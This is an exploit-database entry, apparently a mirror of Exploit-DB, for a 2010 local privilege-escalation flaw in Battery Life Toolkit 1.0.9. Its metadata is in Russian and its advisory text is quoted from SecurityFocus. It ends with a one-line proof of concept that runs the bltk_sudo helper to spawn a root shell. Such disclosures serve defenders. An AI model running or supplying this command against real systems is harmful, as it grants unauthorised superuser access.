Exploit Battery Life Toolkit 1.0.9 - 'bltk_sudo' Local Privilege Escalation

[Exploiter]

EDB-ID

33576

Проверка EDB

1. Пройдено

Автор

MATTHEW GARRETT

Тип уязвимости

LOCAL

Платформа

LINUX

CVE

N/A

Дата публикации

2010-01-28

source: https://www.securityfocus.com/bid/37996/info

Battery Life Toolkit (BLTK) is prone to a local privilege-escalation vulnerability.

A local attacker can exploit this issue to execute arbitrary code with superuser privileges, resulting in the complete compromise of the affected computer.

This issue affects BLTK 1.0.9; other versions may be vulnerable as well.

The following proof of concept is available:

/usr/lib/bltk/bin/bltk_sudo /bin/bash